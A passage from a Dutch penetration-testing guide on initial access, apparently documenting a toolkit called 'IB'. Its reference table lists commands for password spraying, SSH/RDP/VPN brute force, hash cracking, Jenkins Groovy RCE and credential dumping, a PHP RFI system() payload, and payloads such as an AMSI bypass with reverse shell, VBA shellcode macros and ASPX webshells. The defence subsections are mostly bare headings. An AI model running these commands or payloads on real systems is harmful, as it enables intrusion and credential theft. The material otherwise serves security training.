Office macro’s zijn al twintig jaar een aanvalsvector, en ze werken nog steeds. Niet omdat de verdedigingen niet bestaan – ze bestaan. Maar omdat ergens in elke organisatie een manager is die zegt “schakel die macro-beveiliging uit, want mijn spreadsheet werkt niet meer.” En de IT-afdeling doet het. Omdat de manager hoger in de hierarchie staat dan het beveiligingsbeleid. Altijd.


3.8 Verdediging: hoe je dit voorkomt

Dit is het punt waar we even onze aanvallerspet afzetten en praktisch worden. Want het is leuk om kwetsbaarheden te vinden, maar het is nuttiger om ze te voorkomen.

3.8.1 Wachtwoordbeleid

3.8.2 Patch management

3.8.3 Netwerk segmentatie

3.8.4 E-mail filtering

3.8.5 Monitoring en detectie

Verdediging is niet alleen preventie – het is ook detectie. Zelfs de beste preventieve maatregelen falen soms. Zorg dat je het merkt wanneer dat gebeurt:

De ironie is dat veel van deze aanvallen maanden onontdekt blijven – niet omdat de detectie zo moeilijk is, maar omdat niemand naar de logs kijkt. Een SIEM die logs verzamelt maar waar niemand op reageert, is een duur meubelstuk.


3.9 Samenvatting

Initiële toegang is zelden geavanceerd. Het is geduld, voorbereiding en het systematisch uitbuiten van menselijke feilbaarheid:

  1. Password spraying werkt omdat mensen voorspelbare wachtwoorden kiezen – ken de lockout policy en spray voorzichtig
  2. Brute force is last resort – gebruik Crowbar voor RDP, Hydra voor de rest, en hou de thread count laag
  3. Woordenlijsten maken of breken je aanval – combineer CeWL, crunch en mutatie-regels
  4. IB’s payload generators produceren kant-en-klare executables, scripts en documenten – van XOR-encrypted C# tot VBA macro’s
  5. Office macro’s werken door social engineering, niet door technische briljantie
  6. Jenkins is RCE-as-a-service als /script bereikbaar is
  7. RFI exploiteert slechte PHP-configuratie – IB kan zowel als payload host als als aanvalstool dienen
  8. Verdediging begint bij MFA, sterke wachtwoorden en netwerksegmentatie

3.10 Referentietabel

Onderwerp Tool/Commando IB Component
Password spray (AD) crackmapexec smb -u users.txt -p 'Wachtwoord' Commands: passwd_spray
Brute force SSH hydra -L users.txt -P pass.txt ssh://TARGET Task Runner: brute_ssh
Brute force RDP crowbar -b rdp -s TARGET/32 -U users.txt -C pass.txt Task Runner: brute_rdp
Brute force VPN crowbar -b openvpn -s TARGET/32 -u user -C pass.txt Task Runner: brute_vpn
Weak SSH keys crowbar -b sshkey Task Runner: weak_ssh
Wachtwoord generatie crunch, cewl, john --rules Commands: passwd_wordlist, Task Runner: gen_passwords
Hash cracking hashcat -m 1000, john Commands: passwd_brute
Lockout policy crackmapexec smb --pass-pol Commands: passwd_spray
Meterpreter (C#) IB genereert XOR-encrypted EXE Web: /meterpreter
Meterpreter v2 Met LURI support Web: /meterpreter2
PowerShell payload AMSI bypass + reverse shell Web: /powershell
Office macro VBA shellcode in .docm/.xlsm Web: /macro, /macro2
ASPX webshell XOR-encrypted C# ASPX Web: /methaspx
Invoke-Shellcode PowerShell x32+x64 loader Web: /invokeshellcode
Msfvenom (CLI) Alle formaten: exe, elf, asp, jsp, war Handmatig
Metasploit handler exploit/multi/handler Handmatig
Jenkins Groovy RCE /script console Commands: exploit_jenkins
Jenkins build step New Item -> Freestyle -> Execute shell Commands: exploit_jenkins
Jenkins credentials Groovy credential dump Commands: exploit_jenkins
RFI php://input curl -d '<?php system(...)' url?page=php://input Task Runner: rfi_input
FTP ASP upload Anonymous FTP + webshell trigger Task Runner: ftp_asp
HTTP payload server IB serveert http/payloads/ Automatisch actief

Vorige: Hoofdstuk 2 – Verkenning Volgende: Hoofdstuk 4 – Evasion